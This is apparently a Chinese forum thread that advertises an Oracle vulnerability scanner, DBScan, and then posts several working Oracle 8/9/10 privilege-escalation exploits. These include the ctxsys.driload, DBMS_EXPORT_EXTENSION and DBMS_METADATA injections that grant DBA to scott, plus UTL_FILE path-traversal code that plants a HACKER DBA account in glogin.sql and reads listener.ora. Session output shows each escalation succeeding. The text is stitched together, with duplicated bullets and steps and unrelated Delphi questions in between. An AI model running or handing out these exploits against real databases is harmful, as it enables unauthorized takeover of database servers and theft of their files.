◆Oracle漏洞检测系统--DBScan◆DBSafe小组推出的DBScan for Oracle,目前可检测Oracle的200多种安全漏洞,包括弱口令、权限提升、拒绝服务攻击等。测试版下载: http://www.dbscan.cn/down/scyths.rar感兴趣的朋友可以下载来测试一下。提供建议的都有至少200分相送,分不够另外开贴,先谢了!功能特点:◆ DBScan使用的是基于B/S的管理方式,用户使用浏览器通过128位SSLv3加密通道和系统Web界面模块进行交互,方便用户管理。
◆ 提供Open VM(Open Vulnerability Management 开放漏洞管理)工作流程平台,将先进的数据库安全管理理念贯穿整个产品实现过程中。
◆ DBScan是基于Internet/Intranet的网络化结构,检测的数据库服务器IP地址由检测人员自行定义,只要网络连通即可进行检测。
◆ 客户端与服务端通信采用ZLIB压缩技术,通信数据流量只为压缩前数据流量的20%。
◆ 完善的数据库安全检测引擎,支持大规模并发检测,对于大型的机构和组织,拥有众多的数据库服务器,这些服务器可能分布在不同的机房、数据中心,安装着不同的操作系统,DBScan可以简单的只需输入服务器IP地址,即可由检测引擎完成大量的人工手段无法完成的复杂检测工作并生成详细的检测报告。
◆ 全面支持国际安全组织CVE(Common Vulnerabilities & Exposures,通用漏洞披露)标准漏洞库,所有漏洞数据均取自CVE,保证100%兼容。
◆ 全面支持CVSS漏洞评分标准,检测报告累计计算CVSS总得分,分值越大,风险越大。
◆ 提供Open VM(Open Vulnerability Management 开放漏洞管理)工作流程平台,将先进的数据库安全管理理念贯穿整个产品实现过程中。
◆ DBScan是基于Internet/Intranet的网络化结构,检测的数据库服务器IP地址由检测人员自行定义,只要网络连通即可进行检测。
◆ 客户端与服务端通信采用ZLIB压缩技术,通信数据流量只为压缩前数据流量的20%。
◆ 完善的数据库安全检测引擎,支持大规模并发检测,对于大型的机构和组织,拥有众多的数据库服务器,这些服务器可能分布在不同的机房、数据中心,安装着不同的操作系统,DBScan可以简单的只需输入服务器IP地址,即可由检测引擎完成大量的人工手段无法完成的复杂检测工作并生成详细的检测报告。
◆ 全面支持国际安全组织CVE(Common Vulnerabilities & Exposures,通用漏洞披露)标准漏洞库,所有漏洞数据均取自CVE,保证100%兼容。
◆ 全面支持CVSS漏洞评分标准,检测报告累计计算CVSS总得分,分值越大,风险越大。
解决方案 »
- 为什么有些USES的 单元无法打开查看
- 打开其它软件的时候,DELPHI自动打开,怎么回事?
- 请问下TreeView怎样将选中节点作为SQL查询条件
- 如何自定义打印机的纸张大小
- 急求DELPHI5的wwdbgrid,fclabel,fcstatusbar控件下载
- 长5个* 散分
- Rewrite(var F: File [; Recsize: Word ] );
- 我没有文凭,用假文凭心里发慌,我的技术真的真的很不错,,我该怎么办??????
- 我是个新手,下载的控件怎么才能使用,请高手指点。哪里有比较好的delphi电子图书?
- 俺这个问题想了好久?
- 在DBCOMBOBOX下列中写入项目,但是没有东西!
- interbase 查询语句 列合并
ctxsys.driload package允许用户以DBA权限执行命令,通过验证的用户可以利用此弱点取得管理员权限.用scott/tiger登陆,scott是oracle内建用户,权限较低,通过执行特殊参数的命令可以提升为DBA,有兴趣的可以自行测试。测试代码:sqlplus scott/tiger@orcl1.查询scott的当前角色SQL> select * from session_roles;ROLE
------------------------------------------------------------
CONNECT
RESOURCE可以看到scott只有CONNECT和RESOURCE两个权限较低的角色2.利用漏洞执行权限提升SQL> exec ctxsys.driload.validate_stmt('grant dba to scott');BEGIN ctxsys.driload.validate_stmt('grant dba to scott'); END;
*
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRILOAD", line 42
ORA-01003: no statement parsed
ORA-06512: at line 1sqlplus中显示执行错误,但是实际上已经提升权限成功了。3.断开连接
SQL> disc;4.重新连接
SQL> conn scott/tiger@orcl;5.再次查询scott的当前角色
SQL> select * from session_roles;ROLE
------------------------------------------------------------
CONNECT
RESOURCE
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
WM_ADMIN_ROLEROLE
------------------------------------------------------------
JAVA_ADMIN
JAVA_DEPLOY
XDBADMIN
OLAP_DBA已选择15行。看到权限已经提升为DBA这个漏洞在oracle 8/9中普遍存在。
------------------------------------------------------------
CONNECT
RESOURCE可以看到scott只有CONNECT和RESOURCE两个权限较低的角色3、利用漏洞执行权限提升SQL>
-- Create a function in a package first and inject this function. The function will be executed as user SYS.
CREATE OR REPLACE
PACKAGE HACKERPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/CREATE OR REPLACE PACKAGE BODY HACKERPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN(1);
END;END;
/-- Inject the function in dbms_export_extensionDECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := 'SCOTT';
TYPE_NAME := 'HACKERPACKAGE';
TYPE_SCHEMA := 'SCOTT';
VERSION := '9.2.0.1.0';
GMFLAGS := 1;v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME => INDEX_NAME,
INDEX_SCHEMA => INDEX_SCHEMA,
TYPE_NAME => TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA,
VERSION => VERSION,
NEWBLOCK => NEWBLOCK,
GMFLAGS => GMFLAGS);
END;
/sqlplus中显示"PL/SQL procedure successfully completed",提升权限成功。4、断开连接SQL> disc;5、重新连接SQL> conn scott/tiger@orcl;6、再次查询scott的当前角色SQL> select * from session_roles;ROLE
------------------------------------------------------------
CONNECT
RESOURCE
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
WM_ADMIN_ROLEROLE
------------------------------------------------------------
JAVA_ADMIN
JAVA_DEPLOY
XDBADMIN
OLAP_DBA已选择15行。看到权限已经提升为DBA【修补方式】
参考Oracle Critical Patch Update - April 2006,执行修补.
【相关连结】◇、Oracle Critical Patch Update - April 2006 http://www.oracle.com/technology/deploy/security/pdf/cpuapr2006.html◇、US-CERT Technical Cyber Security Alert TA06-109A http://www.us-cert.gov/cas/techalerts/TA06-109A.html◇、US-CERT Vulnerability Note VU#452681 http://www.kb.cert.org/vuls/id/452681◇、BugTraq Mailing List-"Oracle10g 10.2.0.2.0 DBA exploit" http://archives.neohapsis.com/archives/bugtraq/2006-04/0375.html◇、BugTraq Mailing List-"Recent Oracle exploitis_actually_an 0day with no patch" http://archives.neohapsis.com/archives/bugtraq/2006-04/0539.html【发布日期】 2006-04-29
------------------------------------------------------------
CONNECT
RESOURCE可以看到scott只有CONNECT和RESOURCE两个权限较低的角色3、利用漏洞执行权限提升,在SQLPlus中执行如下语句:SQL>
-- Create a function first and inject this function. The function will be executed as user SYS.
CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN '';
END;
/-- Inject the function in the vulnerable procedure
SELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACK_FUNC()||''','') FROM dual;错误:ORA-31600: invalid input value '||SCOTT.ATTACK_FUNC()||' for parameter OBJECT_TYPE in function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1sqlplus中显示执行错误,但是实际上已经提升权限成功了。4、断开连接SQL> disc;5、重新连接SQL> conn scott/tiger@orcl;6、再次查询scott的当前角色SQL> select * from session_roles;ROLE
------------------------------------------------------------
CONNECT
RESOURCE
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
WM_ADMIN_ROLEROLE
------------------------------------------------------------
JAVA_ADMIN
JAVA_DEPLOY
XDBADMIN
OLAP_DBA已选择15行。看到权限已经提升为DBA【修补方式】
Revoke the grants or apply the patches mentioned in Oracle Critical Patch Update April 2005.【相关连结】◇、16287 http://www.oracle.com/technology/deploy/security/pdf/cpujan2006.html◇、VU#545804 http://www.kb.cert.org/vuls/id/545804◇、ADV-2006-0243 http://www.frsirt.com/english/advisories/2006/0243◇、18493 http://secunia.com/advisories/18493◇、ADV-2006-0323 http://www.frsirt.com/english/advisories/2006/0323◇、18608 http://secunia.com/advisories/18608◇、1015499 http://securitytracker.com/id?1015499◇、22543 http://www.osvdb.org/22543◇、22643 http://www.osvdb.org/22643◇、22637 http://www.osvdb.org/22637◇、oracle-january2006-update(24321) http://xforce.iss.net/xforce/xfdb/24321【发布日期】 2006-01-18【更新日期】 2006-05-02
declare
f utl_file.file_type;
begin
f:=UTL_FILE.FOPEN ('MEDIA_DIR','\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\glogin.sql','w',1000);
UTL_FILE.PUT_LINE (f,'CREATE USER HACKER IDENTIFIED BY HACKER;',TRUE);
UTL_FILE.PUT_LINE (f,'GRANT DBA TO HACKER;',TRUE);
UTL_FILE.FCLOSE(f);
end;--Read arbitrary files in the same drive as the directory referenced by MEDIA_DIR directory object.
SET SERVEROUTPUT ON
declare
f utl_file.file_type;
sBuffer Varchar(8000);
begin
f:=UTL_FILE.FOPEN ('MEDIA_DIR','\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\oracle\ora92\network\ADMIN\listener.ora','r');
loop
UTL_FILE.GET_LINE (f,sBuffer);
DBMS_OUTPUT.PUT_LINE(sBuffer);
end loop;
EXCEPTION
when no_data_found then
UTL_FILE.FCLOSE(f);
end;--Rename any file in the same drive as the directory referenced by MEDIA_DIR directory object
begin
UTL_FILE.frename('MEDIA_DIR','\\.\\..\\.\\..\\.\\myoldtextfile.txt','MEDIA_DIR','\\.\\..\\.\\..\\.\\mynewtextfile.txt',TRUE);
end;【修补方式】
Revoke the grants or apply the patches mentioned in Oracle Critical Patch Update April 2005.
呵呵